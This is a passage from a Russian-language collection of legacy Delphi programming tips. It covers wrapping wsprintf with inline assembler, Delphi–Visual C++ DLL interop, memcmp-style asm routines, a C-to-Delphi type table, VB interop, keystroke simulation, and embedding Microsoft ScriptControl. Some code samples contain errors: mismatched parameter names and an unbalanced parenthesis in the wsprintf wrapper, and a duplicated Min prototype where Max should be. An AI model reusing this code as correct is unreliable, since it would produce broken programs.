технические стандарты, сообществом глухих и всеми, кто могут и желают
реально помочь. Я сам из Бельгии, но в данное время проживаю и работаю в Лондоне.
Вы можете мне писать по адресу guido.gybels@rnid.org.uk


Вызов c-шной функции с переменным числом параметров

Автор: Владимир Переплетчик

Комментарий к статье по поводу wsprintf

Сама по себе статья вызывает мало интереса, кроме того, что поднята интересная проблема - вызов с-шной функции с переменным числом параметров. В ответах с использованием массивов вообще, IMHO, ошибка - на стек попадет адрес массива, а в с это совсем не то. Но решение проблемы существует, правда надо ручками повозиться со стеком. Приводимая ниже функция на скорую руку переделывается из работающей в реальном проекте похожего буфера с-паскаль, но там функция в dll имеет тип вызова cdecl и другие обязательные параметры, в связи с чем возможны "опечатки"

// Пишем функцию-переходник, маскируя с-шные "..." паскалевским
// array of const

function sprintf(out, fmt: Pchar; args: array of const): Integer;
var
  I: Integer;
  BufPtr: Pchar;
  S: string;
  buf: array[0..1024] of char;
begin
  BufPtr := buf;
  // Формируем буффер параметров. Можно, конечно, и прямо на стеке,
  // но головной боли слишком много - проще так
  for I := low(Par) to High(Par) do
    case Par[I].VType of
      vtInteger: // Здесь все просто - 4 байта на стек
        begin
          Integer(Pointer(BufPtr)^) := Par[I].VInteger;
          Inc(BufPtr, 4);
        end;
      vtExtended: // Здесь хуже - слова надо местами поменять :-((
        begin
          Integer(Pointer(BufPtr)^) :=
            Integer(Pointer(Pchar(Par[I].VExtended) + 4)^);
          Inc(BufPtr, 4);
          Integer(Pointer(BufPtr)^) :=
            Integer(Pointer(Par[I].VExtended)^);
          Inc(BufPtr, 4);
        end;
      vtPChar: // Здесь тоже все хорошо - 4 байта
        begin
          Pointer(Pointer(BufPtr)^) := Par[I].VPchar;
          Inc(BufPtr, 4);
        end;
      vtString, vtAnsiString: // А здесь во избежание чудес надо
        // копию строки снять
        begin
          if Par[I].VType = vtString then
            S := Par[I].VString^
          else
            S := string(Par[I].VAnsiString);
          Pointer(Pointer(BufPtr)^ :=
            StrPCopy(StrAlloc(Length(S) + 1), S);
            Inc(BufPtr, 4);
        end;
    end;
  // Поддержку других типов доделывать самостоятельно,
  // вооружившись толковым пособием по с и ассемблеру

  I := (BufPtr - buf) div 4; // Сколько раз на стек слово положить

  asm
      push dword ptr [out]
      push dword ptr [fmt]
      mov ecx, dword ptr [i]
      mov eax, dword ptr [buf]  // stdcall - параметры в прямом
                                // порядке
      @@1:
      push dword ptr [eax]
      add  eax, 4
      loop @@1
      call [wsprintf]
      mov  dword ptr [Result], eax // Сохранить результат
      mov eax, dword ptr [i]       // Привести в порядок стек
      shl eax, 2
      add eax, 8
      add esp, eax
  end;
  // Почистить строки
  for I := low(Par) to High(Par) do
    case Par[I].VType of
      vtInteger: Inc(BufPtr, 4);
      vtExtended: Inc(BufPtr, 8);
      vtPChar: Inc(BufPtr, 4);
      vtString, vtAnsiString:
        begin
          StrDispose(PChar(PPointer(BufPtr)^));
          Inc(BufPtr, 4);
        end;
    end;
end;

В таком виде методика уже имеет смысл. Изменения при типах вызова cdecl / pascal понятны.

Взято с http://delphiworld.narod.ru


Вызов Delphi DLL из MS Visual C++

Во-первых, Вам необходимо объявить все экспортируемые в Delphi DLL функции с ключевыми словами export; stdcall;

Во-вторых, файл заголовка VC++ должен объявить все функции как тип __declspec(dllexport) __stdcall (применяйте двойное подчеркивание в секции объявления прототипа функции extern "C" { ... }. (вместо этого можно также использовать __declspec(dllimport)...). Для примера:

extern "C" {
int  __declspec(dllexport)     __stdcall plusone(int); }

В-третьих, в VC++ компилятор настраивается на "украшающее" имена функций __stcall, так что Ваша Delphi DLL соответственно должна экспортировать эти функции. Для этого необходимо модифицировать файл Delphi 2.0 .DPR для Вашего DLL, модифицируя имена всех функций, прописанных в разделе экспорта. Для примера, если Вы экспортируете функцию function plusone (intval : Integer), Вам необходимо включить следующую строку в раздел экспорта .DPR-файла:

plusone name 'plusone@4'

Число, следующее за символом @, является общей длиной в байтах всех функциональных аргументов. Самый простой путь для обнаружения неправильных значений - попытаться слинковать Вашу VC++ программу и посмотреть на наличие возможной ошибки компоновщика "unresolved external".

И, наконец, Вы можете легко создать библиотеку импорта, используя утилиту LIB из поставки VC++. Для этого необходимо вручную (!!) создать .DEF-файл для Вашей DLL с секцией экспорта, перечисляющей имена и/или порядковые номера всех экспортируемых DLL функций. Формат .DEF-файла очень прост:

library MYLIB
description 'Моя собственная DLL'
exports

plusone@4

Затем запускаете LIB из командной строки DOS/Win95, и в качестве параметра подставляете имя .DEF-файла. Например, LIB /DEF:MYDLL.DEF. Наконец, через диалог Build|Settings|Linker Вы информируете VC++ о полученном .LIB-файле.

Вот пример кода:

*******MYDLLMU.PAS

unit MyDLLMU;

interface

function plusone(val : Integer) : Integer; export; stdcall;
procedure ChangeString(AString : PChar); export; stdcall;

implementation

uses

Dialogs,
SysUtils;

function plusone(val : Integer) : Integer;
begin

Result := val + 1;
end;

procedure ChangeString(AString : PChar);
begin

if AString = 'Здравствуй' then
StrPCopy(AString, 'Мир');
end;

end.

***********MYDLL.DPR

library mydll;

{ Существенное замечание об управлении памятью в DLL: Если DLL экспортирует функции со

строковыми параметрами или возвращающие строковые значения, модуль ShareMem надо
указывать в разделе Uses библиотеки и проекта первым. Это касается любых строк,
передаваемых как в DLL, так и из нее, даже если они размещаются внутри записей или
объектов. Модуль ShareMem служит интерфейсом менеджера разделяемой памяти
DELPHIMM.DLL, который должен разворачиваться одновременно с данной DLL. Чтобы избежать
применения DELPHIMM.DLL, строковую информацию можно передавать с помощью параметров
типа PChar или ShortString. }

uses

SysUtils,
Classes,
MyDLLMU in 'MyDLLMU.pas';

exports

plusone name 'plusone@4',
ChangeString name 'ChangeString@4';

begin
end.

*************** MYDLL.DEF
; -----------------------------------------------------------------
; Имя файла: MYDLL.DEF
; -----------------------------------------------------------------

LIBRARY  MYDLL

DESCRIPTION  'Тестовая Delphi DLL, статическая загрузка в VC++ приложение'

EXPORTS

plusone@4

************** DLLTSTADlg.H

// DLLTSTADlg.h : заголовочный файл
//
#define USELIB
#ifdef USELIB
extern "C" {

int __declspec(dllimport) __stdcall plusone(int);
}
#endif //USELIB
/////////////////////////////////////////////////////////////////////////////
// Диалог CDLLTSTADlg

class CDLLTSTADlg : public CDialog
{
// Создание public:

CDLLTSTADlg(CWnd* pParent = NULL);      // стандартный конструктор
~CDLLTSTADlg();

// Данные диалога

//{{AFX_DATA(CDLLTSTADlg)
enum { IDD = IDD_DLLTSTA_DIALOG };
CString m_sVal;
CString m_sStr;
//}}AFX_DATA

// Перекрытая виртуальная функция, сгенерированная ClassWizard
//{{AFX_VIRTUAL(CDLLTSTADlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX);        // Поддержка DDX/DDV
//}}AFX_VIRTUAL

// Реализация
protected:

#ifndef USELIB

HINSTANCE hMyDLL;
FARPROC lpfnplusone;
typedef int (*pIIFUNC)(int);
pIIFUNC plusone;
#endif //USELIB

HICON m_hIcon;

// Карта функций генераций сообщений
//{{AFX_MSG(CDLLTSTADlg)
virtual BOOL OnInitDialog();
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnBtnplusone();
afx_msg void OnBtnplusoneClick();
afx_msg void OnBtndostringClick();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};

************ DLLTSTADlg.CPP

// DLLTSTADlg.cpp : файл реализации
//

#include "stdafx.h"
#include "DLLTSTA.h"
#include "DLLTSTADlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

extern CDLLTSTAApp theApp;

/////////////////////////////////////////////////////////////////////////////
// Диалог CDLLTSTADlg

CDLLTSTADlg::CDLLTSTADlg(CWnd* pParent /*=NULL*/)

: CDialog(CDLLTSTADlg::IDD, pParent)
{

//{{AFX_DATA_INIT(CDLLTSTADlg)
m_sVal = _T("1");
m_sStr = _T("Hello");
//}}AFX_DATA_INIT
// Имейте в виду, что в Win32 LoadIcon не требует последующего DestroyIcon
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);

#ifndef USELIB

hMyDLL = LoadLibrary("C:\\delpwork\\MYDLL.DLL");
if(hMyDLL == NULL)
PostQuitMessage(1);
lpfnplusone = GetProcAddress(HMODULE(hMyDLL), "_plusone");
if(lpfnplusone == NULL)
PostQuitMessage(2);
plusone = pIIFUNC(lpfnplusone);
#endif //USELIB

}

CDLLTSTADlg::~CDLLTSTADlg()
{
#ifndef USELIB

if (hMyDLL != NULL)
FreeLibrary(hMyDLL);
#endif //USELIB
}

void CDLLTSTADlg::DoDataExchange(CDataExchange* pDX)
{

CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CDLLTSTADlg)
DDX_Text(pDX, IDC_LBLINT, m_sVal);
DDX_Text(pDX, IDC_LBLSTRING, m_sStr);
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CDLLTSTADlg, CDialog)

//{{AFX_MSG_MAP(CDLLTSTADlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BTNPLUSONE, OnBtnplusoneClick)
ON_BN_CLICKED(IDC_BTNDOSTRING, OnBtndostringClick)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// Дескрипторы сообщений CDLLTSTADlg

BOOL CDLLTSTADlg::OnInitDialog()
{

CDialog::OnInitDialog();

// Устанавливаем иконку для данного диалога.  В случае, когда главное
// окно программы не является диалогом, это происходит автоматически
SetIcon(m_hIcon, TRUE);                 // Устанавливаем большую иконку
SetIcon(m_hIcon, FALSE);                // Устанавливаем маленькую иконку

// TODO: Здесь добавляем дополнительную инициализацию

return TRUE;  // возвращает TRUE в случае отсутствия фокуса у диалога
}

// Если Вы добавляете в диалог кнопку минимизации, для создания иконки Вам
//  необходим код, приведенный ниже. Для MFC-приложений используйте
//  document/view model для автоматического создания скелета кода.

void CDLLTSTADlg::OnPaint()
{

if (IsIconic())
{
CPaintDC dc(this); // контекст устройства для рисования

SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Центр иконки в области клиента
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;

// Рисование иконки
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// Система вызывает данный код для получения курсора, выводимого если
//  пользователь пытается перетащить свернутое окно.
HCURSOR CDLLTSTADlg::OnQueryDragIcon()
{

return (HCURSOR) m_hIcon;
}

void CDLLTSTADlg::OnBtnplusoneClick()
{

int iTemp;
char sTemp[10];

iTemp = atoi(m_sVal);
iTemp = plusone(iTemp);
m_sVal = itoa(iTemp, sTemp, 10);
UpdateData(FALSE);
}

void CDLLTSTADlg::OnBtndostringClick()
{

UpdateData(FALSE);
}

Во-первых, создайте в Delphi простую DLL:

{ Начало кода DLL }

library MinMax;

function Min(X, Y: Integer): Integer; export;
begin
  if X < Y then
    Min := X
  else
    Min := Y;
end;

function Max(X, Y: Integer): Integer; export;
begin
  if X > Y then
    Max := X
  else
    Max := Y;
end;

exports

  Min index 1,
  Max index 2;

begin
end.

{ Конец кода DLL }

Затем, для вызова этих функций из вашего C кода, сделайте следующее:

В вашем .DEF-файле добавьте следующие строки:

IMPORTS
Min =MINMAX.Min
Max =MINMAX.Max

Объявите в вашем C-приложени прототип функций, как показано ниже:

   int FAR PASCAL Min(int x, y);
    int FAR PASCAL Min(int x, y);
Теперь из любого места вашего приложения вы можете вызвать функции Min и Max.

Взято с http://delphiworld.narod.ru


Аналог функции С memcmp

Автор: Dennis Passmore

Я создал следующие две функции, существенно повышающие произвотельность в приложениях, активно работающих с данными. Вам нужно всего-лишь обеспечить контроль типов и границ допустимого диапазона, все остальное они сделают с любым типом данных лучше нас :-) .

function Keys_are_Equal(var OldRec, NewRec;
KeyLn : word): boolean; assembler;
asm
  PUSH    DS
  MOV     AL,01
  CLD
  LES     DI,NewRec
  LDS     SI,OldRec
  MOV     CX,KeyLn
  CLI
  REPE    CMPSB
  STI
  JZ      @1
  XOR     AL,AL
  @1:
  POP     DS
end;

function First_Key_is_Less(var NewRec, OldRec; Keyln : word): boolean; assembler;
asm
  PUSH    DS
  MOV     AL,01
  CLD
  LES     DI,NewRec
  LDS     SI,OldRec
  MOV     CX,KeyLn
  CLI
  REPE    CMPSB
  STI
  JZ      @5
  JGE     @6
  @5: XOR     AL,AL
  @6: POP     DS
end;

Взято с http://delphiworld.narod.ru

Примечание от Jin X
Примеры приведены для 16-битного Pascal'я и не могут использоваться в 32-битном Delphi! Зато можно делать так:
{ Возвращает -1 при X<Y, 0 при X=Y, 1 при X>Y. }
{ Сравнение идёт по DWord'ам, будто сравнивается массив чисел Integer или Cardinal, }
{ т.е. 01 02 03 04 05 06 07 08 > 01 02 03 04 05 06 08 07, }
{ т.к. 04030201 = 04030201, но 08070605 > 07080605 (hex). }
{ Однако, если Size and 3 <> 0, то последние Size mod 4 байт сравниваются побайтно! }

function memcmp(const X, Y; Size: DWord): Integer;
asm
  mov esi,X
  mov edi,Y
  mov ecx,Size
  mov dl,cl
  and dl,3
  shr ecx,2
  xor eax,eax
  rep cmpsd
  jb @@less
  ja @@great
  mov cl,dl
  rep cmpsb
  jz @@end
  ja @@great
 @@less:
  dec eax
  jmp @@end
 @@great:
  inc eax
 @@end:
end;


Соответствие типов С++ и Delphi

C Data Type | Object Pascal |  Description
----------------------------------------------
LPSTR       PAnsiChar;  String >pointer
LPCSTR      PAnsiChar;  String >pointer
DWORD       Integer;    Whole numbers
BOOL        LongBool;   Boolean values
PBOOL       ^BOOL;      Pointer to a Boolean value
Pbyte       ^Byte;      Pointer to a byte value
PINT        ^Integer;   Pointer to an integer value
Psingle     ^Single;    Pointer to a single (floating point) value
PWORD       ^Word;      Pointer to a 16-bit value
PDWORD      ^DWORD;     Pointer to a 32-bit value
LPDWORD     PDWORD;     Pointer to a 32-bit value
UCHAR       Byte;       8-bit values (can represent characters)
PUCHAR      ^Byte;      Pointer to 8-bit values
SHORT       Smallint;   16-bit whole numbers
UINT        Integer;    32-bit whole numbers. Traditionally,
                        this was used to represent unsigned integers,
                        but Object Pascal does not have a true
                        unsigned integer data type.
PUINT       ^UINT;      Pointer to 32-bit whole numbers
ULONG       Longint;    32-bit whole numbers. Traditionally,
                        this was used to represent unsigned integers,
                        but Object Pascal does not have a true
                        unsigned integer data type.
PULONG      ^ULONG;     Pointer to 32-bit whole numbers
PLongint    ^Longint;   Pointer to 32-bit values
PInteger    ^Integer;   Pointer to 32-bit values
PSmallInt   ^Smallint;  Pointer to 16-bit values
PDouble     ^Double;    Pointer to double (floating point) values
LCID        DWORD;      A local identifier
LANGID      Word;       A language identifier
THandle     Integer;    An object handle. Many Windows API functions return a value
                        of type THandle, which identobject ifies that object within
                        Windows'internal object tracking tables.
PHandle     ^THandle;   A pointer to a handle
WPARAM      Longint;    A 32-bit message parameter. Under earlier versions of Windows,
                        this was a 16-bit data type.
LPARAM      Longint;    A 32-bit message parameter
LRESULT     Longint;    A 32-bit function return value
HWND        Integer;    A handle to a window. All windowed controls, child windows,
                        main windows, etc., have a corresponding window handle that
                        identifies them within Windows'internal tracking tables.
HHOOK       Integer;    A handle to an installed Windows system hook
ATOM        Word;       An index into the local or global atom table for a string
HGLOBAL     THandle;    A handle identifying a globally allocated dynamic memory object.
                        Under 32-bit Windows, there is no distinction between globally
                        and locally allocated memory.
HLOCAL      THandle;    A handle identifying a locally allocated dynamic memory object.
                        Under 32-bit Windows, there is no distinction between globally
                        and locally allocated memory.
FARPROC     Pointer;    A pointer to a procedure, usually used as a parameter type in
                        functions that require a callback function
HGDIOBJ     Integer;    A handle to a GDI object. Pens, device contexts, brushes, etc.,
                        all have a handle of this type that identifies them within
                        Windows'internal tracking tables.
HBITMAP     Integer;    A handle to a Windows bitmap object
HBRUSH      Integer;    A handle to a Windows brush object
HDC         Integer;    A handle to a device context
HENHMETAFILE  Integer;  A handle to a Windows enhanced metafile object
HFONT       Integer;    A handle to a Windows logical font object
HICON       Integer;    A handle to a Windows icon object
HMENU       Integer;    A handle to a Windows menu object
HMETAFILE   Integer;    A handle to a Windows metafile object
HINST       Integer;    A handle to an instance object
HMODULE     HINST;      A handle to a module
HPALETTE    Integer;    A handle to a Windows color palette
HPEN        Integer;    A handle to a Windows pen object
HRGN        Integer;    A handle to a Windows region object
HRSRC       Integer;    A handle to a Windows resource object
HKL         Integer;    A handle to a keyboard layout
HFILE       Integer;    A handle to an open file
HCURSOR     HICON;      A handle to a Windows mouse cursor object
COLORREF    DWORD;      A Windows color reference value, containing values
                        for the red, green, and of ;bsp;blue components of a color

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Using Visual Basic arrays in Delphi

How do I pass arrays from VB to Delphi?

Arrays can be passed as variants:

VB module code:
Attribute VB_Name = "Module1"
Declare Function TestMin Lib "c:\windows\system\NoelSArr"
   (Nums As Variant) As Integer

VB form code:
Dim A As Variant
Private Sub Command1_Click()
  A = Array(4, 3)
  MsgBox (TestMin(A))
End Sub

Delphi DLL code:
library NoelSArray;
.
.
function TestMin(const Nums: Variant): integer; export; stdcall;
var
 p1: Variant;
begin
 p1 := VarArrayCreate([0, 1], VT_I4);
 p1:= Nums;
  if (p1[0] < p1[1]) then
   result:= p1[0]
 else
   Result:= p1[1];
end;


Does Delphi have an equivalent to the Visual Basic SendKeys function?

The following example demonstrates procedures that provide the
capibility of sending keystrokes to any window control capable of
receiving keyboard input. You may use this technique to toggle
the num lock, caps lock, and scroll lock keys under Windows NT.
This same technique works for toggling caps lock and scroll lock
keys under Windows 95, but it will not work for num lock.

Note that there are four procedures provided: SimulateKeyDown(),
SimulateKeyUp(), SimulateKeystroke(), and SendKeys(), to allow greater
control in your ability to send keystrokes.

The SimulateKeyDown(), SimulateKeyUp(), and SimulateKeystroke()
procedures expect a virtural key code (like VK_F1).
The SimulateKeystroke() procedure accepts an extra parameter that is
useful when simulating the PrintScreen key. When extra is set to zero,
the entire screen will be captured to the windows clipboard. When
extra is set to one, only the active window will be captured.

The four button click methods demonstrate the use of these functions:
ButtonClick1 - Toggles the cap lock.
ButtonClick2 - Captures the entire screen to the clipboard.
ButtonClick3 - Capture the active window to the clipboard.
ButtonClick4 - Set the focus to an edit control and sends it a string.

Example:

procedure SimulateKeyDown(Key : byte);
begin
  keybd_event(Key, 0, 0, 0);
end;

procedure SimulateKeyUp(Key : byte);
begin
  keybd_event(Key, 0, KEYEVENTF_KEYUP, 0);
end;

procedure SimulateKeystroke(Key : byte;
                            extra : DWORD);
begin
  keybd_event(Key,
              extra,
              0,
              0);
  keybd_event(Key,
              extra,
              KEYEVENTF_KEYUP,
              0);
end;

procedure SendKeys(s : string);
var
  i : integer;
  flag : bool;
  w : word;
begin
 {Get the state of the caps lock key}
  flag := not GetKeyState(VK_CAPITAL) and 1 = 0;
 {If the caps lock key is on then turn it off}
  if flag then
    SimulateKeystroke(VK_CAPITAL, 0);
  for i := 1 to Length(s) do begin
    w := VkKeyScan(s[i]);
   {If there is not an error in the key translation}
    if ((HiByte(w)  $FF) and
        (LoByte(w)  $FF)) then begin
     {If the key requires the shift key down - hold it down}
      if HiByte(w) and 1 = 1 then
        SimulateKeyDown(VK_SHIFT);
     {Send the VK_KEY}
      SimulateKeystroke(LoByte(w), 0);
     {If the key required the shift key down - release it}
      if HiByte(w) and 1 = 1 then
        SimulateKeyUp(VK_SHIFT);
    end;
  end;
 {if the caps lock key was on at start, turn it back on}
  if flag then
    SimulateKeystroke(VK_CAPITAL, 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 {Toggle the cap lock}
  SimulateKeystroke(VK_CAPITAL, 0);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 {Capture the entire screen to the clipboard}
 {by simulating pressing the PrintScreen key}
  SimulateKeystroke(VK_SNAPSHOT, 0);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
 {Capture the active window to the clipboard}
 {by simulating pressing the PrintScreen key}
  SimulateKeystroke(VK_SNAPSHOT, 1);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
 {Set the focus to a window (edit control) and send it a string}
  Application.ProcessMessages;
  Edit1.SetFocus;
  SendKeys('Delphi Is RAD!');
end;


Does Delphi have an equivalent for the VB function DoEvents?

Application.ProcessMessages


Основное отличие EXE-файлов созданных Delphi и Visual Basic

Основное отличие EXE-файлов созданных Delphi и Visual Basic

Существует два важных различия между файлами EXE, созданными в Delphi, и файлами EXE, созданными VB. Delphi создает чисто машинный код, непосредственно исполняемый компьютером, в то время как VB транслирует исходный код в промежуточную форму (р-код). Файл EXE, сгенерированный VB, в действительности является программой-интерпретатором р-кода с добавленным в конце р-кодом программы пользователя.

"Библиотека времени выполнения" (run-time library) стандартных функций для всех программ VB хранится в файле VBRUN300.DLL. Каждая программа VB, попавшая к конечному пользователю, должна включать этот файл, либо приходится расчитывать, что такой файл у пользователя уже есть. Дистрибутивный комплект программы должен также содержать файлы VBX для каждого управляющего средства VB, не включенного в VBRUN300.DLL.

Программы Delphi включают необходимую часть библиотеки времени выполнения Delphi, а также используемые компоненты. В результате EXE-файл Delphi обычно больше по объему, чем эквивалентный EXE-файл VB, но он не зависит ни от каких внешних файлов.

Источник: http://dmitry9.nm.ru/info/


Использование Microsoft ScriptControl (статья)

Введение
При разработке настраиваемых информационных систем часто возникает необходимость добавить в свою программу встроенный язык программирования. Такой язык позволял бы конечным пользователям настраивать поведение программы без участия автора и без перекомпиляции. Однако самостоятельная реализация интерпретатора является задачей непосильной для многих разработчиков, а для большинства остальных потребует очень много времени и усилий.
В то же время, в Windows, как правило, уже имеется достаточно качественный интерпретатор, который может быть легко встроен в Вашу программу. Речь идет о Microsoft ScriptControl. Он стандартно устанавливается с Internet Explorer, входит в Windows 2000 и Windows 98, а для младших версий доступен в виде свободно распространяемого отдельного дистрибутива, объем которого составляет около 200 КБ. Получить его можно по адресу http://msdn.microsoft.com/scripting. В дистрибутив входит ActiveX-компонент и файл помощи с описанием его свойств и методов.

Добавление TScriptControl в программу
Импорт ActiveX сервера
Чтобы добавить Microsoft ScriptControl на палитру компонентов Delphi необходимо импортировать ActiveX компонент, под названием Microsoft Script Control

После этого на закладке ActiveX появится не визуальный компонент TScriptControl, который можно разместить на форме.

Настройка свойств и вызов скриптов
Рассмотрим ключевые свойства и методы TScriptControl.
property Language: String
Задает язык, интерпретатор которого будет реализовывать компонент. В стандартной поставке доступны VBScript и JScript, однако, если в вашей системе установлены расширения Windows Scripting, возможно использование других языков, таких как Perl или Rexx
property Timeout: Integer
Задает интервал исполнения скрипта, по истечении которого генерируется ошибка. Значение –1 позволяет отключить ошибки таймаута и позволить скрипту исполняться неограниченное время
property UseSafeSubset: Boolean
При установке этого свойства в TRUE компонент может выполнять ограниченный набор действий, заданный текущими установками безопасности в системе. Использование этого свойства полезно, если Вы запускаете скрипты, полученные, например, по Интернет.
procedure AddCode(const Code: WideString);
Добавляет код, заданный параметром к списку процедур компонента. В дальнейшем эти процедуры могут быть вызваны при помощи метода Run, либо из других процедур скрипта.
  ScriptControl1.AddCode(Memo1.Text);
function Eval(const Expression: WideString): OleVariant
Выполняет код, заданный в параметре Expression и возвращает результат исполнения. Позволяет выполнить код без добавления его к списку процедур компонента.
procedure AddObject(const Name: WideString; Object_: IDispatch; AddMembers: WordBool);
Добавляет объект к пространству имен компонента. Объект должен быть OLE-automation сервером. Добавленный объект доступен как объект в коде скрипта. Например, если в программе создан Automation сервер External, реализующий метод DoSomething(Value: Integer), то добавив объект
 ScriptControl1.AddObject('External', TExternal as IDispatch, FALSE);
Мы можем в коде скрипта использовать его следующим образом:
Dim I
I = 8 + External.DoSomething(8)
function Run(const ProcedureName: WideString; var Parameters: PSafeArray): OleVariant;
Выполняет именованную процедуру из числа ранее добавленных при помощи метода AddCode. В массиве Parameters могут быть переданы параметры
procedure Reset;
Сбрасывает компонент в начальное состояние, удаляя все добавленные ранее объекты и код.
Таким образом, TScriptControl представляет собой достаточно гибкую исполняющую систему с возможностями расширения путем добавления в её пространство имен серверов автоматизации OLE.

Использование Microsoft ScriptControl

Интеграция TScriptControl с VCL
В существующем виде возможности TScriptControl сильно ограничены сложным доступом к классам VCL. Исполнение интерпретируемого кода – это хорошо, однако хотелось бы иметь возможность их него обращаться к компонентам в программе, получать и устанавливать их свойства, обрабатывать возникающие в них события, например следующим образом:

Sub Main()
  Dim Control
  Control = Self.Controls("Panel2")
  Control.Add "Panel3", "TPanel"
  With Panel3
    .Align = "alTop"
    .BevelOuter = "bvNone"
    .Height = 40
    .Caption = ""
    .Add "Btn", "TButton", True
    With Btn
     .Top = 10
     .Left = .Top
     .Caption = "Click me"
    End With

  End With
End Sub

Sub Btn_OnClick()
  Dim StatusBar
  Dim Panel
  Dim I
  I = 0
  For Each Panel In StatusBar.Panels
    I = I + 1
    With Panel
      .Text = .Text & " " & CStr(I)
    End With
  Next
End Sub

Дальнейшая часть главы посвящена реализации такой функциональности, однако, прежде чем приступить к этому, необходимо более подробно рассмотреть некоторые механизмы, лежащие в основе модели расширения TScriptControl и VCL

Модель расширения ScriptControl
Как уже было рассмотрено выше, Microsoft ScriptControl позволяет сделать доступными из скрипта объекты, реализованные в программе при помощи метода AddObject. При обращении к таким объектам он предполагает, что они реализуют интерфейс IDispatch и являются, таким образом, OLE-automation серверами. В Delphi в качестве таких объектов могут выступать наследники TAutoObject, создать которых можно при помощи мастера, вызываемого из меню File -> New -> ActiveX -> Automation Object. При вызове методов этих объектов ScriptControl последовательно вызывает методы GetIdsOfNames и Invoke их интерфейса IDispatch, что приводит к вызовам соответствующих методов объекта. Однако здесь имеются определенные сложности:
1. По окончании работы с объектом (например, при выходе его за пределы области видимости процедуры скрипта) TScriptControl автоматически вызывает его метод _Release, что приведет к уничтожению класса Delphi. Таким образом, для каждого класса приходится создавать некий объект-представитель, который бы транслировал вызовы TScriptControl в методы и свойства класса Delphi, а при исчезновении необходимости – уничтожался, не уничтожая самого класса
2. Функциональность наследников TAutoObject задается на этапе компиляции и не может быть расширена в процессе исполнения программы. Это заставляет создавать отдельных представителей для каждого класса VCL, что очень сложно в реализации и не позволяет использовать классы, для которых нет соответствующего представителя.
Чтобы понять пути обхода этой проблемы необходимо более детально вникнуть в реализацию базового интерфейса, лежащего в основе автоматизации OLE

Интерфейс IDispatch
Интерфейс IDispatch обеспечивает возможность позднего связывания, т.е. вызовов методов объектов не по адресам, а по именам на этапе выполнения программы. Интерфейс определен как:
type
  IDispatch = interface(IUnknown)
    ['{00020400-0000-0000-C000-000000000046}']
    function GetTypeInfoCount(out Count: Integer): Integer; stdcall;
    function GetTypeInfo(Index, LocaleID: Integer;
      out TypeInfo): Integer; stdcall;
    function GetIDsOfNames(const IID: TGUID; Names: Pointer;
      NameCount, LocaleID: Integer; DispIDs: Pointer): Integer;
      stdcall;
    function Invoke(DispID: Integer; const IID: TGUID;
      LocaleID: Integer; Flags: Word; var Params; VarResult,
      ExcepInfo, ArgErr: Pointer): Integer; stdcall;
  end;

Ключевыми методами интерфейса являются GetIdsOfNames и Invoke.

function GetIdsOfNames
Этот метод осуществляет трансляцию имен методов и свойств объекта автоматизации в целочисленные идентификаторы. Если OLE пытается разрешить ссылку вида:
SomeObject.DoSomeThing
Она запрашивает у SomeObject интерфейс IDispatch и вызывает метод GetIdsOfNames, передавая ему ссылку на массив имен требующих разрешения в параметре Names, количество имен в параметре NameCount и региональный контекст в параметре LocaleId. Метод должен заполнить массив, на который указывает параметр DispIds значениями идентификаторов имен. Объект имеет возможность предоставить разные имена методов для каждого поддерживаемого языка. Если это не нужно – Вы можете игнорировать параметр LocaleId.
Стандартная реализация IDispatch ищет информацию об именах методов и их идентификаторах в библиотеке типов объекта, однако, программист вполне может взять эту работу на себя и осуществлять самостоятельную трансляцию.
function Invoke
После получения идентификатора запрошенного метода OLE вызывает функцию Invoke, передавая в неё:
DispID
Идентификатор вызываемого метода или свойства, полученный от GetIdsOfNames
LocaleId
Региональный контекст (тот же, что и в GetIdsOfNames)
Flags
Битовая маска, состоящая из следующих флагов
Значение Комментарий
DISPATCH_METHOD Вызывается метод. Если у объекта есть свойство с таким же именем, то будет установлен также флаг DISPATCH_PROPERTYGET
DISPATCH_PROPERTYGET Запрашивается значение свойства
DISPATCH_PROPERTYPUT Устанавливается значение свойства
DISPATCH_PROPERTYPUTREF Параметр передается по ссылке. Если флаг не установлен – по значению
Params
Структура DISPPARAMS, содержащая массив параметров, массив идентификаторов для именованных параметров, и количества элементов в этих массивах. Параметры передаются в порядке, обратном их порядку следования в функции, как это принято в Visual Basic
VarResult
Адрес переменной типа OleVariant, в которую должен быть помещен результат вызова метода или значение свойства или NIL, если возвращаемое значение не требуется.
ExcepInfo
Адрес структуры EXCEPTINFO, которую метод должен заполнить информацией об ошибке, если она возникнет.
ArgErr
Адрес массива, в который должны быть помещены индексы неверных параметров, в случае, если такая ситуация будет обнаружена.
При вызове Invoke не осуществляется никаких проверок, поэтому при его самостоятельной реализации необходимо соблюдать аккуратность при работе с переданными адресами массивов и переменных.
Как видно из описания IDispatch – имеется возможность самостоятельно реализовать этот интерфейс, динамически преобразуя обращения к объекту автоматизации в обращения к соответствующим свойствам классов Delphi.
Информация RTTI Delphi
Delphi имеет свой внутренний протокол, позволяющий осуществлять обращение к опубликованным (объявленным в секции published) свойствам и методам класса. Для этого служат функции модуля TypInfo.pas. Ключевой является функция
function GetPropInfo(TypeInfo: PTypeInfo;
  const PropName: String): PPropInfo;
